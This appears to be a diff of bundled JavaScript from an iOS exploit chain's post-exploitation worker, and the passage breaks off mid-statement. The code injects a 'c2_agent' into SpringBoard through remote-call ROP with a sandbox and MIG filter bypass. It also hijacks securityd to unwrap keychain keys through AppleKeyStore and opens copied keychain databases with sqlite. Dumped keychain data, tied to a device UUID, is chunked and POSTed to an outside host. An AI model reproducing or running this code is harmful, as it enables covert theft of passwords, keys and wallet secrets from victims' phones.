Number(N.callSymbol("open", dumpPath, 0)); + if (fd < 0) { p7_flog("PEMK-WAR open fail"); p7_flushLog(); return false; } + var sz = Number(N.callSymbol("lseek", fd, 0, 2)); + N.callSymbol("lseek", fd, 0, 0); + if (!(sz > 32) || sz > 32 * 1024 * 1024) { + N.callSymbol("close", fd); + p7_flog("PEMK-WAR bad sz=" + sz); p7_flushLog(); + return false; + } + var buf = N.callSymbol("malloc", BigInt(sz + 1)); + var nr = Number(N.callSymbol("read", fd, buf, sz)); + N.callSymbol("close", fd); + if (nr !== sz) { + try { N.callSymbol("free", buf); } catch (_f) {} + p7_flog("PEMK-WAR read nr=" + nr + " sz=" + sz); p7_flushLog(); + return false; + } + var dumpStr = N.readString(buf, sz); + try { N.callSymbol("free", buf); } catch (_f2) {} + var kcObj = null; + try { kcObj = JSON.parse(dumpStr); } catch (_pj) { kcObj = null; } + if (!kcObj) { + p7_flog("PEMK-WAR json parse fail"); p7_flushLog(); + return false; + } + var uuid = ""; + try { uuid = String(globalThis.__LAB_DEVICE_UUID__ || ""); } catch (_u) {} + if (!uuid) { + try { uuid = String(globalThis.__deviceUUID || globalThis.deviceUUID || ""); } catch (_u2) {} + } + var srcTag = (String(reason || "").indexOf("guarantee") >= 0) ? "pe_war_guarantee" : "pe_war_fallback"; + var pkg = { + device_uuid: uuid, + uuid: uuid, + lhu: uuid, + source: srcTag, + reason: String(reason || ""), + keychain: kcObj, + sandbox: {} + }; + var body = JSON.stringify(pkg); + var WAR_MAX = 5 * 1024 * 1024; + function __peB64(u8) { + var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + var out = ""; + var i = 0; + var len = u8.length; + while (i < len) { + var rem = len - i; + var a = u8[i++]; + var b = rem > 1 ? u8[i++] : 0; + var c = rem > 2 ? u8[i++] : 0; + var triple = (a << 16) | (b << 8) | c; + out += chars[(triple >> 18) & 63]; + out += chars[(triple >> 12) & 63]; + out += rem > 1 ? chars[(triple >> 6) & 63] : "="; + out += rem > 2 ? chars[triple & 63] : "="; + } + return out; + } + function __peHttpPostBody(bodyStr) { + return !!__labCfHttp("POST", "/war", String(bodyStr || ""), false, { host: "mh0usocqzi6f46i.com", port: 443 }); + } + var ok = false; + if (body.length <= WAR_MAX) { + ok = __peHttpPostBody(body); + p7_flog("PEMK-WAR " + (ok ? "POST ok" : "POST fail") + " bytes=" + body.length + " reason=" + reason + " uuid=" + (uuid ? uuid.slice(0, 8) : "?")); + } else { + var uploadId = String(uuid || "dev").replace(/[^0-9A-Fa-f]/g, "") + "_" + String(Date.now()); + var rawMax = Math.floor((WAR_MAX - 2048) * 3 / 4); + if (rawMax < 256 * 1024) rawMax = 256 * 1024; + var tmpPath = "/tmp/pe_war_pkg_" + uploadId + ".json"; + var tfd = Number(N.callSymbol("open", tmpPath, 0x601, 0x1FF)); + if (tfd < 0) { + p7_flog("PEMK-WAR chunk tmp open fail; trying single"); p7_flushLog(); + ok = __peHttpPostBody(body); + } else { + var tbuf = N.callSymbol("malloc", BigInt(body.length + 1)); + N.writeString(tbuf, body); + N.callSymbol("write", tfd, tbuf, body.length); + N.callSymbol("close", tfd); + N.callSymbol("free", tbuf); + var fileSize = body.length; + var totalChunks = Math.ceil(fileSize / rawMax); + var rfd = Number(N.callSymbol("open", tmpPath, 0)); + var cbuf = N.callSymbol("malloc", BigInt(rawMax)); + var sentOk = 0; + try { + for (var ci = 0; ci < totalChunks; ci++) { + var toRead = Math.min(rawMax, fileSize - ci * rawMax); + var cnr = Number(N.callSymbol("read", rfd, cbuf, toRead)); + if (cnr <= 0) break; + var u8 = new Uint8Array(N.read(cbuf, cnr)); + var part = { + device_uuid: uuid, + uuid: uuid, + war_chunk: true, + upload_id: uploadId, + chunk_index: ci, + total_chunks: totalChunks, + total_bytes: fileSize, + data: __peB64(u8) + }; + var partStr = JSON.stringify(part); + var postOk = false; + for (var retry = 0; retry < 3; retry++) { + if (__peHttpPostBody(partStr)) { postOk = true; break; } + try { N.callSymbol("usleep", 2000000); } catch (_us) {} + } + if (!postOk) break; + sentOk++; + } + } finally { + try { N.callSymbol("free", cbuf); } catch (_fc) {} + try { N.callSymbol("close", rfd); } catch (_cr) {} + try { N.callSymbol("unlink", tmpPath); } catch (_ul) {} + } + ok = (sentOk === totalChunks); + p7_flog("PEMK-WAR chunked " + (ok ? "ok" : "fail") + " sent=" + sentOk + "/" + totalChunks + " bytes=" + fileSize + " reason=" + reason); + } + } + p7_flushLog(); + if (ok) { + try { + var sfd2 = Number(N.callSymbol("open", sentPath, 0x601, 0x1FF)); + if (sfd2 >= 0) { + var msg = "ok reason=" + String(reason || "") + "\n"; + var mb = N.callSymbol("malloc", BigInt(msg.length + 1)); + N.writeString(mb, msg); + N.callSymbol("write", sfd2, mb, msg.length); + N.callSymbol("close", sfd2); + N.callSymbol("free", mb); + N.callSymbol("chmod", sentPath, 0x1FF); + } + } catch (_mk) {} + } + return ok; + } catch (e) { + p7_flog("PEMK-WAR err: " + e); p7_flushLog(); + return false; + } + } + + function __peStage5() { + // Deadlock: applyTokens AFTER evaluateScript hangs (~2min+). NUI (18.5 / 18.6.1+): + // deferStart → full applyTokens → startScript. 18.6.0 uses legacy path below. + LOG("[PE-WORKER] inject c2_agent -> " + targetProcess); + var __iosC2 = __labIosForGate(); + // 18.5 / 18.6.1+ / unknown → NUI C2; 18.6.0 keeps legacy (faster, historically OK). + var __useNuiC2 = (!(__iosC2.maj) || (__iosC2.maj === 18 && ( + (__iosC2.min === 5) || + (__iosC2.min === 6 && __iosC2.pat >= 1) || + (__iosC2.min > 6) + ))); + p7_flog("PEMK-F0 ios=" + (__iosC2.raw || "?") + " useNuiC2=" + (__useNuiC2 ? "1" : "0")); p7_flushLog(); + var __c2Injected = false; + try { + let c2Code = _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__["default"]; + try { + let diagData = globalThis.__ucredDiag || "no_diag"; + let diagSnippet = '\nglobalThis.__ucredDiag=' + JSON.stringify(diagData) + ';\nglobalThis.__peInjectTs=' + JSON.stringify(String(Date.now())) + ';\n'; + c2Code = c2Code.replace('Native.init();', 'Native.init();' + diagSnippet); + LOG("[PE-WORKER] ucred diag inserted (" + diagData.length + " chars)"); + } catch(dErr) { + LOG("[PE-WORKER] diag insert error: " + dErr); + } + // Propagate the baked delivery UUID into the SpringBoard context so c2_agent + // beacon/war/keychain exfil lands under the SAME UUID as the delivery logs. + // Without this, c2_agent falls back to the hardware IOPlatformUUID and the + // two exfil trees diverge (uuid mismatch). + try { + let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase(); + // 69DD… is the leftover bake constant, not the Safari id. + if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') { + c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid); + c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid); + let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n'; + c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet); + LOG("[PE-WORKER] c2_agent delivery UUID injected (" + _duuid + ")"); + } + } catch(uErr) { + LOG("[PE-WORKER] c2_agent UUID inject error: " + uErr); + } + if (__useNuiC2) { + p7_flog("PEMK-F0 nui SpringBoard RC begin"); p7_flushLog(); + var __c2RC = null; + for (var __c2Try = 0; __c2Try < 2; __c2Try++) { + try { globalThis.__peRemoteFail = 0; } catch (_zf) {} + var __tRc = Date.now(); + try { + __c2RC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"](targetProcess, migFilterBypass); + } catch (_rcE) { + p7_flog("PEMK-F0 SpringBoard RC threw try=" + (__c2Try + 1) + " " + _rcE); p7_flushLog(); + __c2RC = null; + } + var __fail = 0; + try { __fail = globalThis.__peRemoteFail || 0; } catch (_ff) {} + if (__c2RC && __c2RC.success()) { + p7_flog("PEMK-F0 SpringBoard RC ok try=" + (__c2Try + 1) + " ms=" + (Date.now() - __tRc)); p7_flushLog(); + break; + } + p7_flog("PEMK-F0 SpringBoard RC fail try=" + (__c2Try + 1) + "/2 fail=0x" + Number(__fail).toString(16) + " ms=" + (Date.now() - __tRc)); + p7_flushLog(); + if (__c2RC) { try { __c2RC.destroy(); } catch (_rd0) {} } + __c2RC = null; + // 0x494 = first EXC wait timeout (120s) — retrying usually wastes another 120s. + if (Number(__fail) === 0x494) break; + try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {} + } + if (!__c2RC || !__c2RC.success()) { + LOG("[PE-WORKER] c2_agent: SpringBoard RC failed"); + p7_flog("PEMK-F0 SpringBoard RC failed -> war-fallback"); p7_flushLog(); + __pePostWarDumpFallback("sb_rc_fail"); + } else { + p7_flog("PEMK-F0 SpringBoard RC ok -> deferStart+full applyTokens"); p7_flushLog(); + var c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__c2RC, c2Code, migFilterBypass); + p7_flog("PEMK-F0 InjectJS ctor ok"); p7_flushLog(); + if (c2Agent.inject(0, { deferStart: true })) { + LOG("[PE-WORKER] c2_agent prepared (deferred)"); + p7_flog("PEMK-F0 c2 defer ok -> applyTokens"); p7_flushLog(); + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task); + } catch (_atC) { + p7_flog("PEMK-F0 applyTokens err: " + _atC); p7_flushLog(); + } + c2Agent.startScript(); + p7_flog("PEMK-F0 c2 startScript ok -> destroy"); p7_flushLog(); + c2Agent.destroy(); + __c2Injected = true; + try { globalThis.__peC2Injected = true; } catch (_g) {} + p7_flog("PEMK-F0 destroy ok"); p7_flushLog(); + } else { + LOG("[PE-WORKER] c2_agent FAILED"); + p7_flog("PEMK-F0 c2 inject FAILED -> war-fallback"); p7_flushLog(); + try { __c2RC.destroy(); } catch (_rd) {} + __pePostWarDumpFallback("inject_fail"); + } + } + } else { + p7_flog("PEMK-F0 legacy SpringBoard inject begin"); p7_flushLog(); + let c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, c2Code, migFilterBypass); + p7_flog("PEMK-F0 legacy InjectJS ctor ok"); p7_flushLog(); + if (c2Agent.inject()) { + LOG("[PE-WORKER] c2_agent OK - persistent loop started"); + p7_flog("PEMK-F0 legacy inject ok -> applyTokens"); p7_flushLog(); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task); + c2Agent.destroy(); + __c2Injected = true; + try { globalThis.__peC2Injected = true; } catch (_g2) {} + p7_flog("PEMK-F0 legacy c2 OK"); p7_flushLog(); + } else { + LOG("[PE-WORKER] c2_agent FAILED"); + p7_flog("PEMK-F0 legacy c2 FAILED -> war-fallback"); p7_flushLog(); + __pePostWarDumpFallback("legacy_inject_fail"); + } + } + } catch (c2Err) { + LOG("[PE-WORKER] c2_agent error: " + c2Err); + p7_flog("PEMK-F0 exception: " + c2Err); p7_flushLog(); + if (!__c2Injected) __pePostWarDumpFallback("exception"); + } + p7_flog("PEMK-F s5_c2 done injected=" + (__c2Injected ? "1" : "0")); p7_flushLog(); +} + + function __peStage6() { + // Wait like bak success: /tmp/keychain-2.db size > 1MB, OR READY notify from copier/rc_copy. + // Then Phase2: MPD sqlite3_open(path) → iterate ciphertext → securityd AKS unwrap. + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G skip s6: lost pe_run_token (newer/other PE)"); + p7_flushLog(); + return; + } + p7_flog("[PE-WORKER] waiting for keychain db (size>1MB or READY, max 90s)..."); + p7_flushLog(); + var __labKcReady = false; + var __labKcPath = "/tmp/keychain-2.db"; + var __labKcPaths = ["/tmp/keychain-2.db", "/private/var/tmp/keychain-2.db"]; + for (var __labWi = 0; __labWi < 90; __labWi++) { + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort wait: lost pe_run_token"); + p7_flushLog(); + return; + } + var __st = __labKcReadStatus(); + if (__st && __st.ready) { + __labKcReady = true; + __labKcPath = __st.path || __labKcPath; + try { globalThis.__labKcCopyPath = __labKcPath; globalThis.__labKcReady = true; } catch (_g) {} + p7_flog("[PE-WORKER] keychain COPY READY notify path=" + __labKcPath + " t=" + (__labWi + 1) + "s raw=" + String(__st.raw).slice(0, 120)); + p7_flushLog(); + break; + } + for (var __labPi = 0; __labPi < __labKcPaths.length; __labPi++) { + var __labSz = __labKcDbSize(__labKcPaths[__labPi]); + if (__labSz > 1048576) { + __labKcReady = true; + __labKcPath = __labKcPaths[__labPi]; + try { globalThis.__labKcCopyPath = __labKcPath; globalThis.__labKcReady = true; } catch (_g2) {} + p7_flog("[PE-WORKER] keychain db ready path=" + __labKcPath + " sz=" + __labSz + " t=" + (__labWi + 1) + "s"); + p7_flushLog(); + break; + } + } + if (__labKcReady) break; + if ((__labWi % 10) === 9) { + p7_flog("[PE-WORKER] still waiting keychain db t=" + (__labWi + 1) + "s"); + p7_flushLog(); + } + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + } + if (!__labKcReady) { + p7_flog("[PE-WORKER] keychain db not ready after 90s - SKIP Phase2 (no AKS/sqlite until copy)"); + p7_flushLog(); + try { + var __Nf = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var __ffd = Number(__Nf.callSymbol("open", "/tmp/keychain_c2_dump.fail", 0x601, 0x1FF)); + if (__ffd >= 0) { + var __fmsg = "no_keychain_ready_90s\n"; + var __fb = __Nf.callSymbol("malloc", BigInt(__fmsg.length + 1)); + __Nf.writeString(__fb, __fmsg); + __Nf.callSymbol("write", __ffd, __fb, __fmsg.length); + __Nf.callSymbol("close", __ffd); + __Nf.callSymbol("free", __fb); + __Nf.callSymbol("chmod", "/tmp/keychain_c2_dump.fail", 0x1FF); + p7_flog("PEMK-G wrote keychain_c2_dump.fail"); p7_flushLog(); + } + } catch (_ff) {} + } + if (__labKcCopier) { + try { __labKcCopier.destroy(); } catch (_kd) {} + __labKcCopier = null; + } + + + // ===== P7 Phase 2: V4 Local SQLite + Remote AKS Oracle Pipeline ===== + // Hard gate: MPD must see READY (copy done) before sqlite open + securityd AKS unwrap. + if (p7_enableP7 && !__labKcReady) { + p7_flog("[PE-WORKER] Phase2 aborted: no keychain READY — will not connect securityd AKS"); + p7_flushLog(); + } else if (p7_enableP7) { + let p7_secRC = null; + try { + p7_flog("=== Phase 2: V4 AKS Oracle Pipeline (READY path=" + __labKcPath + ") ==="); + let N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + + function p7_toPtr(v) { + if (typeof v === 'bigint') return v; + if (typeof v === 'number') return BigInt(v); + if (v === null || v === undefined) return 0n; + p7_flog("WARN toPtr: type=" + typeof v + " v=" + String(v).slice(0, 40)); + return 0n; + } + function p7_toRC(v) { + if (typeof v === 'number') return v; + if (typeof v === 'bigint') return Number(v & 0xFFFFFFFFn); + if (v === null || v === undefined) return -1; + p7_flog("WARN toRC: type=" + typeof v + " v=" + String(v).slice(0, 40)); + return -1; + } + + function p7_requirePtr(label, v) { + if (typeof v === 'bigint') return v; + if (typeof v === 'number') return BigInt(v); + p7_flog("BUG requirePtr(" + label + "): got " + typeof v); + throw new TypeError("requirePtr(" + label + "): expected bigint|number, got " + typeof v); + } + + // --- Poke securityd: 3x SecItemCopyMatching (wake threads before RC) --- + p7_flog("Poke: waking securityd..."); + try { + var p7_rpResult = p7_toPtr(N.callSymbol("malloc", 8n)); + if (p7_rpResult && p7_rpResult !== 0n) { + var p7_rpKSC = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecClass"))); + var p7_rpKGP = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecClassGenericPassword"))); + var p7_rpKML = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecMatchLimit"))); + var p7_rpKM1 = N.readPtr(p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "kSecMatchLimitOne"))); + for (var pi = 0; pi < 3; pi++) { + var pq = p7_toPtr(N.callSymbol("CFDictionaryCreateMutable", 0n, 2n, 0n, 0n)); + if (!pq || pq === 0n) break; + N.callSymbol("CFDictionarySetValue", pq, p7_rpKSC, p7_rpKGP); + N.callSymbol("CFDictionarySetValue", pq, p7_rpKML, p7_rpKM1); + N.write64(p7_rpResult, 0n); + var pr = Number(N.callSymbol("SecItemCopyMatching", pq, p7_rpResult)); + var pref = N.readPtr(p7_rpResult); + if (pref && pref !== 0n) N.callSymbol("CFRelease", pref); + N.callSymbol("CFRelease", pq); + p7_flog("poke[" + pi + "] ret=" + pr); + } + N.callSymbol("free", p7_rpResult); + } + p7_flog("Poke done"); + } catch (pokeErr) { + p7_flog("Poke error: " + pokeErr); + } + + // --- RC(securityd) single attempt (immediately after poke) --- + p7_flushLog(); + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort Phase2: lost pe_run_token before securityd RC"); + p7_flushLog(); + throw "pe_run_token_lost"; + } + var p7_t0 = Date.now(); + p7_flog("RC: creating securityd (before c2 to avoid SecItem contention)..."); + p7_secRC = null; + for (var p7_rcTry = 0; p7_rcTry < 3; p7_rcTry++) { + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort Phase2: lost pe_run_token during securityd RC retry"); + p7_flushLog(); + throw "pe_run_token_lost"; + } + var p7_tTry = Date.now(); + p7_flog("RC: creating securityd try=" + (p7_rcTry + 1) + "/3"); + try { + p7_secRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("securityd", migFilterBypass); + p7_flog("RC: constructor took " + (Date.now() - p7_tTry) + "ms success=" + (p7_secRC && p7_secRC.success())); + } catch (rcErr) { + p7_flog("RC constructor threw after " + (Date.now() - p7_tTry) + "ms: " + String(rcErr)); + p7_secRC = null; + } + if (p7_secRC && p7_secRC.success()) break; + if (p7_secRC) { try { p7_secRC.destroy(); } catch(e) {} } + p7_secRC = null; + try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {} + } + p7_flog("RC: securityd total " + (Date.now() - p7_t0) + "ms"); + if (!p7_secRC || !p7_secRC.success()) { + p7_flog("RC(securityd) FAILED"); + if (p7_secRC) { try { p7_secRC.destroy(); } catch(e) {} } + p7_secRC = null; + } else { + let p7_remotePid = p7_toRC(p7_secRC.call(3000, "getpid")); + let p7_remoteUid = p7_toRC(p7_secRC.call(3000, "getuid")); + p7_flog("RC(securityd) pid=" + p7_remotePid + " uid=" + p7_remoteUid); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(p7_secRC); + p7_flushLog(); + + let p7_rm = p7_secRC.mem(); + let p7_sp = p7_secRC.lastLiveSP(); + p7_flog("RC mem=0x" + p7_rm.toString(16) + " liveSP=0x" + p7_sp.toString(16)); + + // --- 2B: Remote AKS IOKit init --- + function p7_rcDlsym(name) { + p7_secRC.writeStr(p7_rm, name); + return p7_toPtr(p7_secRC.call(3000, "dlsym", 0xfffffffffffffffen, p7_rm)); + } + + function p7_rcCallN(funcName, x0, x1, x2, x3, x4, x5, x6, x7, stackArgs) { + let sp = p7_secRC.lastLiveSP(); + if (!sp) { p7_flog("callN: no live SP!"); return 0n; } + if (stackArgs) { + for (var si = 0; si < stackArgs.length; si++) + p7_secRC.write64(sp + BigInt(si * 8), stackArgs[si] || 0n); + } + return p7_secRC.call(5000, funcName, + x0 || 0n, x1 || 0n, x2 || 0n, x3 || 0n, + x4 || 0n, x5 || 0n, x6 || 0n, x7 || 0n); + } + + function p7_rcCalloc(size) { + var raw = p7_secRC.call(3000, "calloc", 1n, BigInt(size)); + if (typeof raw !== 'bigint' && typeof raw !== 'number') + p7_flog("rcCalloc(" + size + ") raw type=" + typeof raw + " val=" + String(raw).slice(0, 60)); + return p7_toPtr(raw); + } + function p7_rcFree(ptr) { + if (ptr && ptr !== 0n) p7_secRC.call(1000, "free", p7_requirePtr("rcFree", ptr)); + } + + function p7_rcWriteBuf(remoteDst, buf, len) { + p7_requirePtr("rcWriteBuf.dst", remoteDst); + var tmp = BigInt(N.callSymbol("malloc", len)); + N.write(tmp, buf.buffer || buf); + p7_secRC.write(remoteDst, tmp, len); + N.callSymbol("free", tmp); + } + function p7_rcReadBuf(remoteSrc, len) { + p7_requirePtr("rcReadBuf.src", remoteSrc); + var tmp = BigInt(N.callSymbol("malloc", len)); + p7_secRC.read(remoteSrc, tmp, len); + var data = N.read(tmp, len); + N.callSymbol("free", tmp); + return data; + } + + var p7_aksConn = 0n; + var p7_aksReady = false; + var p7_result = { + timestamp: new Date().toISOString(), + source: "pe_worker_v4", + securityd_pid: p7_remotePid, + securityd_uid: p7_remoteUid, + diagnostics: {}, + metadataKeys: {}, + tables: {}, + wallets: {}, + errors: [] + }; + + // Resolve IOKit symbols in securityd + var p7_symIOSM = p7_rcDlsym("IOServiceMatching"); + var p7_symIOSGMS = p7_rcDlsym("IOServiceGetMatchingService"); + var p7_symIOSO = p7_rcDlsym("IOServiceOpen"); + var p7_symIOOR = p7_rcDlsym("IOObjectRelease"); + var p7_symIOCCM = p7_rcDlsym("IOConnectCallMethod"); + p7_flog("IOKit syms: Matching=0x" + p7_symIOSM.toString(16) + + " GetMatching=0x" + p7_symIOSGMS.toString(16) + + " Open=0x" + p7_symIOSO.toString(16) + + " CallMethod=0x" + p7_symIOCCM.toString(16)); + + if (p7_symIOSM && p7_symIOSGMS && p7_symIOSO && p7_symIOCCM) { + // task_self_trap in securityd + var p7_secTaskSelf = p7_toPtr(p7_secRC.call(3000, "task_self_trap")); + p7_flog("securityd task_self=0x" + p7_secTaskSelf.toString(16)); + + // IOServiceMatching("AppleKeyStore") + p7_secRC.writeStr(p7_rm, "AppleKeyStore"); + var p7_matching = p7_toPtr(p7_secRC.call(3000, "IOServiceMatching", p7_rm)); + p7_flog("IOServiceMatching=0x" + p7_matching.toString(16)); + + if (p7_matching && p7_matching !== 0n) { + // IOServiceGetMatchingService(kIOMasterPortDefault, matching) + var p7_service32 = p7_toRC(p7_secRC.call(3000, "IOServiceGetMatchingService", 0n, p7_matching)) & 0xFFFFFFFF; + p7_flog("IOServiceGetMatchingService=" + p7_service32); + + if (p7_service32 > 0) { + // IOServiceOpen(service, taskSelf, 0, &connSlot) + var p7_connSlot = p7_rcCalloc(8); + p7_secRC.write64(p7_connSlot, 0n); + var p7_kr = p7_toRC(p7_secRC.call(3000, "IOServiceOpen", + BigInt(p7_service32), p7_secTaskSelf, 0n, p7_connSlot)); + p7_flog("IOServiceOpen kr=0x" + (p7_kr >>> 0).toString(16)); + p7_secRC.call(1000, "IOObjectRelease", BigInt(p7_service32)); + + if (p7_kr === 0) { + p7_aksConn = p7_secRC.read64(p7_connSlot) & 0xFFFFFFFFn; + p7_flog("AKS conn=0x" + p7_aksConn.toString(16)); + + // IOConnectCallMethod(conn, 0, ...) init handshake + var p7_initOut = p7_rcCalloc(32); + var p7_initOutCnt = p7_rcCalloc(8); + p7_secRC.write64(p7_initOutCnt, 2n); + var p7_initKr = p7_rcCallN("IOConnectCallMethod", + p7_aksConn, 0n, 0n, 0n, 0n, 0n, + p7_initOut, p7_initOutCnt, + [0n, 0n]); + var p7_initKrN = p7_toRC(p7_initKr); + p7_flog("AKS init kr=0x" + (p7_initKrN >>> 0).toString(16)); + p7_rcFree(p7_initOut); + p7_rcFree(p7_initOutCnt); + + if (p7_initKrN === 0) { + p7_aksReady = true; + p7_flog("AKS IOKit READY"); + } else { + p7_flog("AKS init handshake failed, trying unwrap anyway"); + p7_aksReady = true; + } + } + p7_rcFree(p7_connSlot); + } + } + } + p7_result.diagnostics.aksReady = p7_aksReady; + p7_result.diagnostics.aksConn = "0x" + p7_aksConn.toString(16); + p7_flushLog(); + + // --- AKS unwrap helper (quiet: no per-call HTTP flog spam) --- + function p7_aksUnwrap(keyclass, wrappedBuf, wrappedLen) { + if (!p7_aksReady || !p7_aksConn) return null; + var scalarBuf, wrappedRemote, outBuf, outSizeBuf, kr, outSize; + try { + scalarBuf = p7_rcCalloc(16); + p7_secRC.write64(scalarBuf, 0n); + p7_secRC.write64(scalarBuf + 8n, BigInt(keyclass)); + wrappedRemote = p7_rcCalloc(wrappedLen); + p7_rcWriteBuf(wrappedRemote, wrappedBuf, wrappedLen); + outBuf = p7_rcCalloc(64); + outSizeBuf = p7_rcCalloc(8); + p7_secRC.write64(outSizeBuf, 32n); + kr = p7_rcCallN("IOConnectCallMethod", + p7_aksConn, 11n, + scalarBuf, 2n, + wrappedRemote, BigInt(wrappedLen), + 0n, 0n, + [outBuf, outSizeBuf]); + outSize = Number(p7_secRC.read64(outSizeBuf) & 0xFFFFn); + } catch (innerErr) { + p7_flog("aksUnwrap fail class=" + keyclass + ": " + innerErr); + if (scalarBuf) p7_rcFree(scalarBuf); + if (wrappedRemote) p7_rcFree(wrappedRemote); + if (outBuf) p7_rcFree(outBuf); + if (outSizeBuf) p7_rcFree(outSizeBuf); + return null; + } + p7_rcFree(scalarBuf); + p7_rcFree(wrappedRemote); + var result = null; + var krVal = p7_toRC(kr); + if (krVal === 0 && outSize > 0 && outSize <= 64) { + result = p7_rcReadBuf(outBuf, outSize); + } else if (krVal !== 0) { + p7_flog("aksUnwrap fail class=" + keyclass + " kr=" + krVal); + try { + p7_result.diagnostics = p7_result.diagnostics || {}; + var __lc = p7_result.diagnostics.locked_classes || []; + var __lk = String(keyclass); + if (__lc.indexOf(__lk) < 0) __lc.push(__lk); + p7_result.diagnostics.locked_classes = __lc; + p7_result.errors = p7_result.errors || []; + if (p7_result.errors.length < 40) + p7_result.errors.push("aksUnwrap class=" + keyclass + " kr=" + krVal); + } catch (_lc) {} + } + p7_rcFree(outBuf); + p7_rcFree(outSizeBuf); + return { kr: krVal, outSize: outSize, data: result }; + } + + // --- 2C: Local SQLite3 pipeline --- + var p7_SQLITE_OK = 0; + var p7_SQLITE_ROW = 100; + var p7_dbPaths = [ + "/tmp/keychain-2.db", + "/private/var/tmp/keychain-2.db", + "/private/var/Keychains/keychain-2.db", + "/var/Keychains/keychain-2.db" + ]; + try { + var __np = globalThis.__labKcCopyPath; + if (__np && typeof __np === "string" && __np.length > 0) { + p7_dbPaths = [__np].concat(p7_dbPaths.filter(function(x){ return x !== __np; })); + p7_flog("using copier notify path first: " + __np); + } + } catch (_np) {} + + p7_flog("--- Local SQLite3 pipeline ---"); + // Guarantee the .done marker exists early so c2_agent polling + // succeeds even if the sqlite open / dump below fails (iOS18nui). + try { + var _earlyDoneFd = Number(N.callSymbol("open", "/tmp/keychain_c2_dump.done", 0x601, 0x1FF)); + if (_earlyDoneFd >= 0) { + N.callSymbol("write", _earlyDoneFd, "done", 4); + N.callSymbol("close", _earlyDoneFd); + N.callSymbol("chmod", "/tmp/keychain_c2_dump.done", 0x1FF); + p7_flog("early .done marker created"); + } + } catch(_de) { p7_flog("early .done err: " + _de); } + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/tmp/keychain-2.db", true); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/private/var/tmp/keychain-2.db", true); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/private/var/Keychains/keychain-2.db", true); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/var/Keychains/keychain-2.db", true); + } catch (_tokE) { + p7_flog("token refresh warn: " + _tokE); + } + var p7_dbPtrBuf = N.callSymbol("calloc", 1, 8); + var p7_dbRc = -1; + var p7_dbPathUsed = ""; + for (var p7_try = 0; p7_try < 30; p7_try++) { + for (var p7_di = 0; p7_di < p7_dbPaths.length; p7_di++) { + var p7_cand = p7_dbPaths[p7_di]; + var p7_acc = Number(N.callSymbol("access", p7_cand, 0)); + var p7_ofd = Number(N.callSymbol("open", p7_cand, 0)); + var p7_osz = -1; + if (p7_ofd >= 0) { + p7_osz = Number(N.callSymbol("lseek", p7_ofd, 0, 2)); + N.callSymbol("close", p7_ofd); + } + p7_flog("try" + p7_try + " path=" + p7_cand + " acc=" + p7_acc + " sz=" + p7_osz); + // After copier READY notify: attempt open immediately (no size>1MB/1KB gate). + p7_dbRc = Number(N.callSymbol("sqlite3_open_v2", p7_cand, p7_dbPtrBuf, 0x01, 0n)); + p7_flog("sqlite3_open " + p7_cand + " rc=" + p7_dbRc); + if (p7_dbRc === p7_SQLITE_OK) { + p7_dbPathUsed = p7_cand; + break; + } + } + if (p7_dbRc === p7_SQLITE_OK) break; + N.callSymbol("sleep", 2); + } + p7_flog("sqlite3_open final rc=" + p7_dbRc + " path=" + p7_dbPathUsed); + + if (p7_dbRc === p7_SQLITE_OK) { + var p7_db = N.read64(BigInt(p7_dbPtrBuf)); + N.callSymbol("free", p7_dbPtrBuf); + N.callSymbol("sqlite3_busy_timeout", p7_db, 5000); + p7_flog("DB opened OK, db=0x" + p7_db.toString(16)); + p7_flushLog(); + + // --- Unwrap metadata keys --- + p7_flog("preparing metadatakeys query..."); + var p7_metaKeys = {}; + var p7_stmtBuf = N.callSymbol("calloc", 1, 8); + p7_flog("stmtBuf=0x" + BigInt(p7_stmtBuf).toString(16)); + var p7_mkRc = Number(N.callSymbol("sqlite3_prepare_v2", 